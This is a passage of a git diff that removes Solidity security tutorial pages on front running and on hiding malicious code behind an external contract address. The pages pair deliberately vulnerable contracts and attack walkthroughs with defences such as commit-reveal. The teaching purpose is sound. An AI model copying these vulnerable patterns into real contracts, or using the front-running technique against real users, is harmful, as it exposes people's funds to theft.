nQsICkgPSBtc2cuc2VuZGVyLmNhbGx7dmFsdWU6IDEwIGV0aGVyfSgiIik7CiAgICAgICAgcmVxdWlyZShzZW50LCAiRmFpbGVkIHRvIHNlbmQgRXRoZXIiKTsKICAgIH0KfQo=", - }, - { - fileName: "PreventFrontRunning.sol", - code: "Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCmltcG9ydCAiZ2l0aHViLmNvbS9PcGVuWmVwcGVsaW4vb3BlbnplcHBlbGluLWNvbnRyYWN0cy9ibG9iL3JlbGVhc2UtdjQuNS9jb250cmFjdHMvdXRpbHMvU3RyaW5ncy5zb2wiOwoKLyoKICAgTm93IExldCdzIHNlZSBob3cgdG8gZ3VhcmQgZnJvbSBmcm9udCBydW5uaW5nIHVzaW5nIGNvbW1pdCByZXZlYWwgc2NoZW1lLgoqLwoKLyoKMS4gQWxpY2UgZGVwbG95cyBTZWN1cmVkRmluZFRoaXNIYXNoIHdpdGggMTAgRXRoZXIuCjIuIEJvYiBmaW5kcyB0aGUgY29ycmVjdCBzdHJpbmcgdGhhdCB3aWxsIGhhc2ggdG8gdGhlIHRhcmdldCBoYXNoLiAoIkV0aGVyZXVtIikuCjMuIEJvYiB0aGVuIGZpbmRzIHRoZSBrZWNjYWsyNTYoQWRkcmVzcyBpbiBsb3dlcmNhc2UgKyBTb2x1dGlvbiArIFNlY3JldCkuIAogICBBZGRyZXNzIGlzIGhpcyB3YWxsZXQgYWRkcmVzcyBpbiBsb3dlcmNhc2UsIHNvbHV0aW9uIGlzICJFdGhlcmV1bSIsIFNlY3JldCBpcyBsaWtlIGFuIHBhc3N3b3JkICgibXlzZWNyZXQiKSAKICAgdGhhdCBvbmx5IEJvYiBrbm93cyB3aGljIEJvYiB1c2VzIHRvIGNvbW1pdCBhbmQgcmV2ZWFsIHRoZSBzb2x1dGlvbi4KICAga2VjY2FrMjU2NigiMHhmMzlGZDZlNTFhYWQ4OEY2RjRjZTZhQjg4MjcyNzljZmZGYjkyMjY2RXRoZXJldW1teXNlY3JldCIpID0gJzB4Zjk1YjFkZDYxZWRjM2JkOTYyY2RlYTM5ODdjNmY1NWJjYjcxNGEwMmEyYzNlYjczYmQ5NjBkNmI0Mzg3ZmMzNicKMy4gQm9iIHRoZW4gY2FsbHMgY29tbWl0U29sdXRpb24oIjB4Zjk1YjFkZDYxZWRjM2JkOTYyY2RlYTM5ODdjNmY1NWJjYjcxNGEwMmEyYzNlYjczYmQ5NjBkNmI0Mzg3ZmMzNiIpLCAKICAgd2hlcmUgaGUgY29tbWl0cyB0aGUgY2FsY3VsYXRlZCBzb2x1dGlvbiBoYXNoIHdpdGggZ2FzIHByaWNlIHNldCB0byAxNSBnd2VpLgo0LiBFdmUgaXMgd2F0Y2hpbmcgdGhlIHRyYW5zYWN0aW9uIHBvb2wgZm9yIHRoZSBhbnN3ZXIgdG8gYmUgc3VibWl0dGVkLgo1LiBFdmUgc2VlcyBCb2IncyBhbnN3ZXIgYW5kIGhlIGFsc28gY2FsbHMgY29tbWl0U29sdXRpb24oIjB4Zjk1YjFkZDYxZWRjM2JkOTYyY2RlYTM5ODdjNmY1NWJjYjcxNGEwMmEyYzNlYjczYmQ5NjBkNmI0Mzg3ZmMzNiIpCiAgIHdpdGggYSBoaWdoZXIgZ2FzIHByaWNlIHRoYW4gQm9iICgxMDAgZ3dlaSkuCjYuIEV2ZSdzIHRyYW5zYWN0aW9uIHdhcyBtaW5lZCBiZWZvcmUgQm9iJ3MgdHJhbnNhY3Rpb24sIGJ1dCBFdmUgaGFzIG5vdCBnb3QgdGhlIHJld2FyZCB5ZXQuCiAgIEhlIG5lZWRzIHRvIGNhbGwgcmV2ZWFsU29sdXRpb24oKSB3aXRoIGV4YWN0IHNlY3JldCBhbmQgc29sdXRpb24sIHNvIGxldHMgc2F5IGhlIGlzIHdhdGNoaW5nIHRoZSB0cmFuc2FjdGlvbiBwb29sCiAgIHRvIGZyb250IHJ1biBCb2IgYXMgaGUgZGlkIHByZXZpb3VzbHkKNy4gVGhlbiBCb2IgY2FsbHMgdGhlIHJldmVhbFNvbHV0aW9uKCJFdGhlcmV1bSIsICJteXNlY3JldCIpIHdpdGggZ2FzIHByaWNlIHNldCB0byAxNSBnd2VpOwo4LiBMZXQncyBjb25zaWRlciB0aGF0IEV2ZSdzIHdobydzIHdhdGNoaW5nIHRoZSB0cmFuc2FjdGlvbiBwb29sLCBmaW5kJ3MgQm9iJ3MgcmV2ZWFsIHNvbHV0aW9uIHRyYW5zYWN0aW9uIGFuZCBoZSBhbHNvIGNhbGxzIAogICByZXZlYWxTb2x1dGlvbigiRXRoZXJldW0iLCAibXlzZWNyZXQiKSB3aXRoIGhpZ2hlciBnYXMgcHJpY2UgdGhhbiBCb2IgKDEwMCBnd2VpKQo5LiBMZXQncyBjb25zaWRlciB0aGF0IHRoaXMgdGltZSBhbHNvIEV2ZSdzIHJldmVhbCB0cmFuc2FjdGlvbiB3YXMgbWluZWQgYmVmb3JlIEJvYidzIHRyYW5zYWN0aW9uLCBidXQgRXZlIHdpbGwgYmUKICAgcmV2ZXJ0ZWQgd2l0aCAiSGFzaCBkb2Vzbid0IG1hdGNoIiBlcnJvci4gU2luY2UgdGhlIHJldmVhbFNvbHV0aW9uKCkgZnVuY3Rpb24gY2hlY2tzIHRoZSBoYXNoIHVzaW5nIAogICBrZWNjYWsyNTYobXNnLnNlbmRlciArIHNvbHV0aW9uICsgc2VjcmV0KS4gU28gdGhpcyB0aW1lIGV2ZSBmYWlscyB0byB3aW4gdGhlIHJld2FyZC4KMTAuQnV0IEJvYidzIHJldmVhbFNvbHV0aW9uKCJFdGhlcmV1bSIsICJteXNlY3JldCIpIHBhc3NlcyB0aGUgaGFzaCBjaGVjayBhbmQgZ2V0cyB0aGUgcmV3YXJkIG9mIDEwIGV0aGVyLgoqLwoKY29udHJhY3QgU2VjdXJlZEZpbmRUaGlzSGFzaCB7CiAgICAvLyBTdHJ1Y3QgaXMgdXNlZCB0byBzdG9yZSB0aGUgY29tbWl0IGRldGFpbHMKICAgIHN0cnVjdCBDb21taXQgewogICAgICAgIGJ5dGVzMzIgc29sdXRpb25IYXNoOwogICAgICAgIHVpbnQgY29tbWl0VGltZTsKICAgICAgICBib29sIHJldmVhbGVkOwogICAgfQoKICAgIC8vIFRoZSBoYXNoIHRoYXQgaXMgbmVlZGVkIHRvIGJlIHNvbHZlZAogICAgYnl0ZXMzMiBwdWJsaWMgaGFzaCA9CiAgICAgICAgMHg1NjRjY2FmNzU5NGQ2NmIxZWFhZWEyNGZlMDFmMDU4NWJmNTJlZTcwODUyYWY0ZWFjMGNjNGIwNDcxMWNkMGUyOwoKICAgIC8vIEFkZHJlc3Mgb2YgdGhlIHdpbm5lcgogICAgYWRkcmVzcyBwdWJsaWMgd2lubmVyOwoKICAgIC8vIFByaWNlIHRvIGJlIHJld2FyZGVkCiAgICB1aW50IHB1YmxpYyByZXdhcmQ7CgogICAgLy8gU3RhdHVzIG9mIGdhbWUKICAgIGJvb2wgcHVibGljIGVuZGVkOwoKICAgIC8vIE1hcHBpbmcgdG8gc3RvcmUgdGhlIGNvbW1pdCBkZXRhaWxzIHdpdGggYWRkcmVzcwogICAgbWFwcGluZyhhZGRyZXNzID0+IENvbW1pdCkgY29tbWl0czsKCiAgICAvLyBNb2RpZmllciB0byBjaGVjayBpZiB0aGUgZ2FtZSBpcyBhY3RpdmUKICAgIG1vZGlmaWVyIGdhbWVBY3RpdmUoKSB7CiAgICAgICAgcmVxdWlyZSghZW5kZWQsICJBbHJlYWR5IGVuZGVkIik7CiAgICAgICAgXzsKICAgIH0KCiAgICBjb25zdHJ1Y3RvcigpIHBheWFibGUgewogICAgICAgIHJld2FyZCA9IG1zZy52YWx1ZTsKICAgIH0KCiAgICAvKiAKICAgICAgIENvbW1pdCBmdW5jdGlvbiB0byBzdG9yZSB0aGUgaGFzaCBjYWxjdWxhdGVkIHVzaW5nIGtlY2NhazI1NihhZGRyZXNzIGluIGxvd2VyY2FzZSArIHNvbHV0aW9uICsgc2VjcmV0KS4gCiAgICAgICBVc2VycyBjYW4gb25seSBjb21taXQgb25jZSBhbmQgaWYgdGhlIGdhbWUgaXMgYWN0aXZlLgogICAgKi8KICAgIGZ1bmN0aW9uIGNvbW1pdFNvbHV0aW9uKGJ5dGVzMzIgX3NvbHV0aW9uSGFzaCkgcHVibGljIGdhbWVBY3RpdmUgewogICAgICAgIENvbW1pdCBzdG9yYWdlIGNvbW1pdCA9IGNvbW1pdHNbbXNnLnNlbmRlcl07CiAgICAgICAgcmVxdWlyZShjb21taXQuY29tbWl0VGltZSA9PSAwLCAiQWxyZWFkeSBjb21taXR0ZWQiKTsKICAgICAgICBjb21taXQuc29sdXRpb25IYXNoID0gX3NvbHV0aW9uSGFzaDsKICAgICAgICBjb21taXQuY29tbWl0VGltZSA9IGJsb2NrLnRpbWVzdGFtcDsKICAgICAgICBjb21taXQucmV2ZWFsZWQgPSBmYWxzZTsKICAgIH0KCiAgICAvKiAKICAgICAgICBGdW5jdGlvbiB0byBnZXQgdGhlIGNvbW1pdCBkZXRhaWxzLiBJdCByZXR1cm5zIGEgdHVwbGUgb2YgKHNvbHV0aW9uSGFzaCwgY29tbWl0VGltZSwgcmV2ZWFsU3RhdHVzKTsgIAogICAgICAgIFVzZXJzIGNhbiBnZXQgc29sdXRpb24gb25seSBpZiB0aGUgZ2FtZSBpcyBhY3RpdmUgYW5kIHRoZXkgaGF2ZSBjb21taXR0ZWQgYSBzb2x1dGlvbkhhc2gKICAgICovCiAgICBmdW5jdGlvbiBnZXRNeVNvbHV0aW9uKCkgcHVibGljIHZpZXcgZ2FtZUFjdGl2ZSByZXR1cm5zIChieXRlczMyLCB1aW50LCBib29sKSB7CiAgICAgICAgQ29tbWl0IHN0b3JhZ2UgY29tbWl0ID0gY29tbWl0c1ttc2cuc2VuZGVyXTsKICAgICAgICByZXF1aXJlKGNvbW1pdC5jb21taXRUaW1lICE9IDAsICJOb3QgY29tbWl0dGVkIHlldCIpOwogICAgICAgIHJldHVybiAoY29tbWl0LnNvbHV0aW9uSGFzaCwgY29tbWl0LmNvbW1pdFRpbWUsIGNvbW1pdC5yZXZlYWxlZCk7CiAgICB9CgogICAgLyogCiAgICAgICAgRnVuY3Rpb24gdG8gcmV2ZWFsIHRoZSBjb21taXQgYW5kIGdldCB0aGUgcmV3YXJkLiAKICAgICAgICBVc2VycyBjYW4gZ2V0IHJldmVhbCBzb2x1dGlvbiBvbmx5IGlmIHRoZSBnYW1lIGlzIGFjdGl2ZSBhbmQgdGhleSBoYXZlIGNvbW1pdHRlZCBhIHNvbHV0aW9uSGFzaCBiZWZvcmUgdGhpcyBibG9jayBhbmQgbm90IHJldmVhbGVkIHlldC4KICAgICAgICBJdCBnZW5lcmF0ZXMgYW4ga2VjY2FrMjU2KG1zZy5zZW5kZXIgKyBzb2x1dGlvbiArIHNlY3JldCkgYW5kIGNoZWNrcyBpdCB3aXRoIHRoZSBwcmV2aW91c2x5IGNvbW1pdGVkIGhhc2guICAKICAgICAgICBGcm9udCBydW5uZXJzIHdpbGwgbm90IGJlIGFibGUgdG8gcGFzcyB0aGlzIGNoZWNrIHNpbmNlIHRoZSBtc2cuc2VuZGVyIGlzIGRpZmZlcmVudC4KICAgICAgICBUaGVuIHRoZSBhY3R1YWwgc29sdXRpb24gaXMgY2hlY2tlZCB1c2luZyBrZWNjYWsyNTYoc29sdXRpb24pLCBpZiB0aGUgc29sdXRpb24gbWF0Y2hlcywgdGhlIHdpbm5lciBpcyBkZWNsYXJlZCwgCiAgICAgICAgdGhlIGdhbWUgaXMgZW5kZWQgYW5kIHRoZSByZXdhcmQgYW1vdW50IGlzIHNlbnQgdG8gdGhlIHdpbm5lci4KICAgICovCiAgICBmdW5jdGlvbiByZXZlYWxTb2x1dGlvbigKICAgICAgICBzdHJpbmcgbWVtb3J5IF9zb2x1dGlvbiwKICAgICAgICBzdHJpbmcgbWVtb3J5IF9zZWNyZXQKICAgICkgcHVibGljIGdhbWVBY3RpdmUgewogICAgICAgIENvbW1pdCBzdG9yYWdlIGNvbW1pdCA9IGNvbW1pdHNbbXNnLnNlbmRlcl07CiAgICAgICAgcmVxdWlyZShjb21taXQuY29tbWl0VGltZSAhPSAwLCAiTm90IGNvbW1pdHRlZCB5ZXQiKTsKICAgICAgICByZXF1aXJlKGNvbW1pdC5jb21taXRUaW1lIDwgYmxvY2sudGltZXN0YW1wLCAiQ2Fubm90IHJldmVhbCBpbiB0aGUgc2FtZSBibG9jayIpOwogICAgICAgIHJlcXVpcmUoIWNvbW1pdC5yZXZlYWxlZCwgIkFscmVhZHkgY29tbWl0ZWQgYW5kIHJldmVhbGVkIik7CgogICAgICAgIGJ5dGVzMzIgc29sdXRpb25IYXNoID0ga2VjY2FrMjU2KAogICAgICAgICAgICBhYmkuZW5jb2RlUGFja2VkKFN0cmluZ3MudG9IZXhTdHJpbmcobXNnLnNlbmRlciksIF9zb2x1dGlvbiwgX3NlY3JldCkKICAgICAgICApOwogICAgICAgIHJlcXVpcmUoc29sdXRpb25IYXNoID09IGNvbW1pdC5zb2x1dGlvbkhhc2gsICJIYXNoIGRvZXNuJ3QgbWF0Y2giKTsKCiAgICAgICAgcmVxdWlyZShrZWNjYWsyNTYoYWJpLmVuY29kZVBhY2tlZChfc29sdXRpb24pKSA9PSBoYXNoLCAiSW5jb3JyZWN0IGFuc3dlciIpOwoKICAgICAgICB3aW5uZXIgPSBtc2cuc2VuZGVyOwogICAgICAgIGVuZGVkID0gdHJ1ZTsKCiAgICAgICAgKGJvb2wgc2VudCwgKSA9IHBheWFibGUobXNnLnNlbmRlcikuY2FsbHt2YWx1ZTogcmV3YXJkfSgiIik7CiAgICAgICAgaWYgKCFzZW50KSB7CiAgICAgICAgICAgIHdpbm5lciA9IGFkZHJlc3MoMCk7CiAgICAgICAgICAgIGVuZGVkID0gZmFsc2U7CiAgICAgICAgICAgIHJldmVydCgiRmFpbGVkIHRvIHNlbmQgZXRoZXIuIik7CiAgICAgICAgfQogICAgfQp9Cg==", - }, -] - -const html = `

Vulnerability

-

Transactions take some time before they are mined. An attacker can watch the transaction pool -and send a transaction, have it included in a block before the original transaction. -This mechanism can be abused to re-order transactions to the attacker's advantage.

-
// SPDX-License-Identifier: MIT
-pragma solidity ^0.8.20;
-
-/*
-Alice creates a guessing game.
-You win 10 ether if you can find the correct string that hashes to the target
-hash. Let's see how this contract is vulnerable to front running.
-*/
-
-/*
-1. Alice deploys FindThisHash with 10 Ether.
-2. Bob finds the correct string that will hash to the target hash. ("Ethereum")
-3. Bob calls solve("Ethereum") with gas price set to 15 gwei.
-4. Eve is watching the transaction pool for the answer to be submitted.
-5. Eve sees Bob's answer and calls solve("Ethereum") with a higher gas price
-   than Bob (100 gwei).
-6. Eve's transaction was mined before Bob's transaction.
-   Eve won the reward of 10 ether.
-
-What happened?
-Transactions take some time before they are mined.
-Transactions not yet mined are put in the transaction pool.
-Transactions with higher gas price are typically mined first.
-An attacker can get the answer from the transaction pool, send a transaction
-with a higher gas price so that their transaction will be included in a block
-before the original.
-*/
-
-contract FindThisHash {
-    bytes32 public constant hash =
-        0x564ccaf7594d66b1eaaea24fe01f0585bf52ee70852af4eac0cc4b04711cd0e2;
-
-    constructor() payable {}
-
-    function solve(string memory solution) public {
-        require(hash == keccak256(abi.encodePacked(solution)), "Incorrect answer");
-
-        (bool sent, ) = msg.sender.call{value: 10 ether}("");
-        require(sent, "Failed to send Ether");
-    }
-}
-

Preventative Techniques

- -

Commit-Reveal Schemes

-

A commitment scheme is a cryptographic algorithm used to allow someone to commit to a value while keeping it hidden from others with the ability to reveal it later. The values in a commitment scheme are binding, meaning that no one can change them once committed. The scheme has two phases: a commit phase in which a value is chosen and specified, and a reveal phase in which the value is revealed and checked.

-
// SPDX-License-Identifier: MIT
-pragma solidity ^0.8.20;
-
-import "github.com/OpenZeppelin/openzeppelin-contracts/blob/release-v4.5/contracts/utils/Strings.sol";
-
-/*
-   Now Let's see how to guard from front running using commit reveal scheme.
-*/
-
-/*
-1. Alice deploys SecuredFindThisHash with 10 Ether.
-2. Bob finds the correct string that will hash to the target hash. ("Ethereum").
-3. Bob then finds the keccak256(Address in lowercase + Solution + Secret). 
-   Address is his wallet address in lowercase, solution is "Ethereum", Secret is like an password ("mysecret") 
-   that only Bob knows whic Bob uses to commit and reveal the solution.
-   keccak2566("0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266Ethereummysecret") = '0xf95b1dd61edc3bd962cdea3987c6f55bcb714a02a2c3eb73bd960d6b4387fc36'
-3. Bob then calls commitSolution("0xf95b1dd61edc3bd962cdea3987c6f55bcb714a02a2c3eb73bd960d6b4387fc36"), 
-   where he commits the calculated solution hash with gas price set to 15 gwei.
-4. Eve is watching the transaction pool for the answer to be submitted.
-5. Eve sees Bob's answer and he also calls commitSolution("0xf95b1dd61edc3bd962cdea3987c6f55bcb714a02a2c3eb73bd960d6b4387fc36")
-   with a higher gas price than Bob (100 gwei).
-6. Eve's transaction was mined before Bob's transaction, but Eve has not got the reward yet.
-   He needs to call revealSolution() with exact secret and solution, so lets say he is watching the transaction pool
-   to front run Bob as he did previously
-7. Then Bob calls the revealSolution("Ethereum", "mysecret") with gas price set to 15 gwei;
-8. Let's consider that Eve's who's watching the transaction pool, find's Bob's reveal solution transaction and he also calls 
-   revealSolution("Ethereum", "mysecret") with higher gas price than Bob (100 gwei)
-9. Let's consider that this time also Eve's reveal transaction was mined before Bob's transaction, but Eve will be
-   reverted with "Hash doesn't match" error. Since the revealSolution() function checks the hash using 
-   keccak256(msg.sender + solution + secret). So this time eve fails to win the reward.
-10.But Bob's revealSolution("Ethereum", "mysecret") passes the hash check and gets the reward of 10 ether.
-*/
-
-contract SecuredFindThisHash {
-    // Struct is used to store the commit details
-    struct Commit {
-        bytes32 solutionHash;
-        uint commitTime;
-        bool revealed;
-    }
-
-    // The hash that is needed to be solved
-    bytes32 public hash =
-        0x564ccaf7594d66b1eaaea24fe01f0585bf52ee70852af4eac0cc4b04711cd0e2;
-
-    // Address of the winner
-    address public winner;
-
-    // Price to be rewarded
-    uint public reward;
-
-    // Status of game
-    bool public ended;
-
-    // Mapping to store the commit details with address
-    mapping(address => Commit) commits;
-
-    // Modifier to check if the game is active
-    modifier gameActive() {
-        require(!ended, "Already ended");
-        _;
-    }
-
-    constructor() payable {
-        reward = msg.value;
-    }
-
-    /* 
-       Commit function to store the hash calculated using keccak256(address in lowercase + solution + secret). 
-       Users can only commit once and if the game is active.
-    */
-    function commitSolution(bytes32 _solutionHash) public gameActive {
-        Commit storage commit = commits[msg.sender];
-        require(commit.commitTime == 0, "Already committed");
-        commit.solutionHash = _solutionHash;
-        commit.commitTime = block.timestamp;
-        commit.revealed = false;
-    }
-
-    /* 
-        Function to get the commit details. It returns a tuple of (solutionHash, commitTime, revealStatus);  
-        Users can get solution only if the game is active and they have committed a solutionHash
-    */
-    function getMySolution() public view gameActive returns (bytes32, uint, bool) {
-        Commit storage commit = commits[msg.sender];
-        require(commit.commitTime != 0, "Not committed yet");
-        return (commit.solutionHash, commit.commitTime, commit.revealed);
-    }
-
-    /* 
-        Function to reveal the commit and get the reward. 
-        Users can get reveal solution only if the game is active and they have committed a solutionHash before this block and not revealed yet.
-        It generates an keccak256(msg.sender + solution + secret) and checks it with the previously commited hash.  
-        Front runners will not be able to pass this check since the msg.sender is different.
-        Then the actual solution is checked using keccak256(solution), if the solution matches, the winner is declared, 
-        the game is ended and the reward amount is sent to the winner.
-    */
-    function revealSolution(
-        string memory _solution,
-        string memory _secret
-    ) public gameActive {
-        Commit storage commit = commits[msg.sender];
-        require(commit.commitTime != 0, "Not committed yet");
-        require(commit.commitTime < block.timestamp, "Cannot reveal in the same block");
-        require(!commit.revealed, "Already commited and revealed");
-
-        bytes32 solutionHash = keccak256(
-            abi.encodePacked(Strings.toHexString(msg.sender), _solution, _secret)
-        );
-        require(solutionHash == commit.solutionHash, "Hash doesn't match");
-
-        require(keccak256(abi.encodePacked(_solution)) == hash, "Incorrect answer");
-
-        winner = msg.sender;
-        ended = true;
-
-        (bool sent, ) = payable(msg.sender).call{value: reward}("");
-        if (!sent) {
-            winner = address(0);
-            ended = false;
-            revert("Failed to send ether.");
-        }
-    }
-}
-
` - -export default html diff --git a/src/pages/hacks/front-running/index.md b/src/pages/hacks/front-running/index.md deleted file mode 100644 index 53d8c5321..000000000 --- a/src/pages/hacks/front-running/index.md +++ /dev/null @@ -1,29 +0,0 @@ ---- -title: Front Running -version: 0.8.20 -description: An example of a Solidity contract vulnerable to front running -keywords: [hack, security, front, running] ---- - -### Vulnerability - -Transactions take some time before they are mined. An attacker can watch the transaction pool -and send a transaction, have it included in a block before the original transaction. -This mechanism can be abused to re-order transactions to the attacker's advantage. - -```solidity -{{{FrontRunning}}} -``` - -### Preventative Techniques - -- use commit-reveal scheme (https://medium.com/swlh/exploring-commit-reveal-schemes-on-ethereum-c4ff5a777db8) -- use submarine send (https://libsubmarine.org/) - -### Commit-Reveal Schemes - -A commitment scheme is a cryptographic algorithm used to allow someone to commit to a value while keeping it hidden from others with the ability to reveal it later. The values in a commitment scheme are binding, meaning that no one can change them once committed. The scheme has two phases: a commit phase in which a value is chosen and specified, and a reveal phase in which the value is revealed and checked. - -```solidity -{{{PreventFrontRunning}}} -``` diff --git a/src/pages/hacks/front-running/index.tsx b/src/pages/hacks/front-running/index.tsx deleted file mode 100644 index 1c63a4f4a..000000000 --- a/src/pages/hacks/front-running/index.tsx +++ /dev/null @@ -1,29 +0,0 @@ -import React from "react" -import Example from "../../../components/Example" -import html, { version, title, description, codes } from "./index.html" - -interface Path { - path: string - title: string -} - -interface Props { - prev: Path | null - next: Path | null -} - -const ExamplePage: React.FC = ({ prev, next }) => { - return ( - - ) -} - -export default ExamplePage diff --git a/src/pages/hacks/hiding-malicious-code-with-external-contract/ExternalContract.sol b/src/pages/hacks/hiding-malicious-code-with-external-contract/ExternalContract.sol deleted file mode 100644 index c4b965037..000000000 --- a/src/pages/hacks/hiding-malicious-code-with-external-contract/ExternalContract.sol +++ /dev/null @@ -1,52 +0,0 @@ -// SPDX-License-Identifier: MIT -pragma solidity ^0.8.20; - -/* -Let's say Alice can see the code of Foo and Bar but not Mal. -It is obvious to Alice that Foo.callBar() executes the code inside Bar.log(). -However Eve deploys Foo with the address of Mal, so that calling Foo.callBar() -will actually execute the code at Mal. -*/ - -/* -1. Eve deploys Mal -2. Eve deploys Foo with the address of Mal -3. Alice calls Foo.callBar() after reading the code and judging that it is - safe to call. -4. Although Alice expected Bar.log() to be execute, Mal.log() was executed. -*/ - -contract Foo { - Bar bar; - - constructor(address _bar) { - bar = Bar(_bar); - } - - function callBar() public { - bar.log(); - } -} - -contract Bar { - event Log(string message); - - function log() public { - emit Log("Bar was called"); - } -} - -// This code is hidden in a separate file -contract Mal { - event Log(string message); - - // function () external { - // emit Log("Mal was called"); - // } - - // Actually we can execute the same exploit even if this function does - // not exist by using the fallback - function log() public { - emit Log("Mal was called"); - } -} diff --git a/src/pages/hacks/hiding-malicious-code-with-external-contract/index.html.ts b/src/pages/hacks/hiding-malicious-code-with-external-contract/index.html.ts deleted file mode 100644 index 8578b8390..000000000 --- a/src/pages/hacks/hiding-malicious-code-with-external-contract/index.html.ts +++ /dev/null @@ -1,94 +0,0 @@ -// metadata -export const version = "0.8.20" -export const title = "Hiding Malicious Code with External Contract" -export const description = - "An example of exploit where malicious code is hidden in an external contract in Solidity" - -export const keywords = [ - "hack", - "security", - "hide", - "hiding", - "malicious", - "code", - "external", - "contract", -] - -export const codes = [ - { - fileName: "ExternalContract.sol", - code: "Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCi8qCkxldCdzIHNheSBBbGljZSBjYW4gc2VlIHRoZSBjb2RlIG9mIEZvbyBhbmQgQmFyIGJ1dCBub3QgTWFsLgpJdCBpcyBvYnZpb3VzIHRvIEFsaWNlIHRoYXQgRm9vLmNhbGxCYXIoKSBleGVjdXRlcyB0aGUgY29kZSBpbnNpZGUgQmFyLmxvZygpLgpIb3dldmVyIEV2ZSBkZXBsb3lzIEZvbyB3aXRoIHRoZSBhZGRyZXNzIG9mIE1hbCwgc28gdGhhdCBjYWxsaW5nIEZvby5jYWxsQmFyKCkKd2lsbCBhY3R1YWxseSBleGVjdXRlIHRoZSBjb2RlIGF0IE1hbC4KKi8KCi8qCjEuIEV2ZSBkZXBsb3lzIE1hbAoyLiBFdmUgZGVwbG95cyBGb28gd2l0aCB0aGUgYWRkcmVzcyBvZiBNYWwKMy4gQWxpY2UgY2FsbHMgRm9vLmNhbGxCYXIoKSBhZnRlciByZWFkaW5nIHRoZSBjb2RlIGFuZCBqdWRnaW5nIHRoYXQgaXQgaXMKICAgc2FmZSB0byBjYWxsLgo0LiBBbHRob3VnaCBBbGljZSBleHBlY3RlZCBCYXIubG9nKCkgdG8gYmUgZXhlY3V0ZSwgTWFsLmxvZygpIHdhcyBleGVjdXRlZC4KKi8KCmNvbnRyYWN0IEZvbyB7CiAgICBCYXIgYmFyOwoKICAgIGNvbnN0cnVjdG9yKGFkZHJlc3MgX2JhcikgewogICAgICAgIGJhciA9IEJhcihfYmFyKTsKICAgIH0KCiAgICBmdW5jdGlvbiBjYWxsQmFyKCkgcHVibGljIHsKICAgICAgICBiYXIubG9nKCk7CiAgICB9Cn0KCmNvbnRyYWN0IEJhciB7CiAgICBldmVudCBMb2coc3RyaW5nIG1lc3NhZ2UpOwoKICAgIGZ1bmN0aW9uIGxvZygpIHB1YmxpYyB7CiAgICAgICAgZW1pdCBMb2coIkJhciB3YXMgY2FsbGVkIik7CiAgICB9Cn0KCi8vIFRoaXMgY29kZSBpcyBoaWRkZW4gaW4gYSBzZXBhcmF0ZSBmaWxlCmNvbnRyYWN0IE1hbCB7CiAgICBldmVudCBMb2coc3RyaW5nIG1lc3NhZ2UpOwoKICAgIC8vIGZ1bmN0aW9uICgpIGV4dGVybmFsIHsKICAgIC8vICAgICBlbWl0IExvZygiTWFsIHdhcyBjYWxsZWQiKTsKICAgIC8vIH0KCiAgICAvLyBBY3R1YWxseSB3ZSBjYW4gZXhlY3V0ZSB0aGUgc2FtZSBleHBsb2l0IGV2ZW4gaWYgdGhpcyBmdW5jdGlvbiBkb2VzCiAgICAvLyBub3QgZXhpc3QgYnkgdXNpbmcgdGhlIGZhbGxiYWNrCiAgICBmdW5jdGlvbiBsb2coKSBwdWJsaWMgewogICAgICAgIGVtaXQgTG9nKCJNYWwgd2FzIGNhbGxlZCIpOwogICAgfQp9Cg==", - }, -] - -const html = `

Vulnerability

-

In Solidity any address can be casted into specific contract, -even if the contract at the address is not the one being casted.

-

This can be exploited to hide malicious code. Let's see how.

-
// SPDX-License-Identifier: MIT
-pragma solidity ^0.8.20;
-
-/*
-Let's say Alice can see the code of Foo and Bar but not Mal.
-It is obvious to Alice that Foo.callBar() executes the code inside Bar.log().
-However Eve deploys Foo with the address of Mal, so that calling Foo.callBar()
-will actually execute the code at Mal.
-*/
-
-/*
-1. Eve deploys Mal
-2. Eve deploys Foo with the address of Mal
-3. Alice calls Foo.callBar() after reading the code and judging that it is
-   safe to call.
-4. Although Alice expected Bar.log() to be execute, Mal.log() was executed.
-*/
-
-contract Foo {
-    Bar bar;
-
-    constructor(address _bar) {
-        bar = Bar(_bar);
-    }
-
-    function callBar() public {
-        bar.log();
-    }
-}
-
-contract Bar {
-    event Log(string message);
-
-    function log() public {
-        emit Log("Bar was called");
-    }
-}
-
-// This code is hidden in a separate file
-contract Mal {
-    event Log(string message);
-
-    // function () external {
-    //     emit Log("Mal was called");
-    // }
-
-    // Actually we can execute the same exploit even if this function does
-    // not exist by using the fallback
-    function log() public {
-        emit Log("Mal was called");
-    }
-}
-

Preventative Techniques

-
    -
  • Initialize a new contract inside the constructor
  • -
  • Make the address of external contract public so that the code of the -external contract can be reviewed
  • -
-
Bar public bar;
-
-constructor() public {
-    bar = new Bar();
-}
-
` - -export default html diff --git a/src/pages/hacks/hiding-malicious-code-with-external-contract/index.md b/src/pages/hacks/hiding-malicious-code-with-external-contract/index.md deleted file mode 100644 index da98ba538..000000000 --- a/src/pages/hacks/hiding-malicious-code-with-external-contract/index.md +++ /dev/null @@ -1,31 +0,0 @@ ---- -title: Hiding Malicious Code with External Contract -version: 0.8.20 -description: An example of exploit where malicious code is hidden in an external contract in Solidity -keywords: [hack, security, hide, hiding, malicious, code, external, contract] ---- - -### Vulnerability - -In Solidity any address can be casted into specific contract, -even if the contract at the address is not the one being casted. - -This can be exploited to hide malicious code. Let's see how. - -```solidity -{{{ExternalContract}}} -``` - -### Preventative Techniques - -- Initialize a new contract inside the constructor -- Make the address of external contract `public` so that the code of the - external contract can be reviewed - -```solidity -Bar public bar; - -constructor() public { - bar = new Bar(); -} -``` diff --git a/src/pages/hacks/hiding-malicious-code-with-external-contract/index.tsx b/src/pages/hacks/hiding-malicious-code-with-external-contract/index.tsx deleted file mode 100644 index 1c63a4f4a..000000000 --- a/src/pages/hacks/hiding-malicious-code-with-external-contract/index.tsx +++ /dev/null @@ -1,29 +0,0 @@ -import React from "react" -import Example from "../../../components/Example" -import html, { version, title, description, codes } from "./index.html" - -interface Path { - path: string - title: string -} - -interface Props { - prev: Path | null - next: Path | null -} - -const ExamplePage: React.FC = ({ prev, next }) => { - return ( - - ) -} - -export default ExamplePage diff --git a/src/pages/hacks/honeypot/HoneyPot.sol b/src/pages/hacks/honeypot/HoneyPot.sol deleted file mode 100644 index 62b249c84..000000000 --- 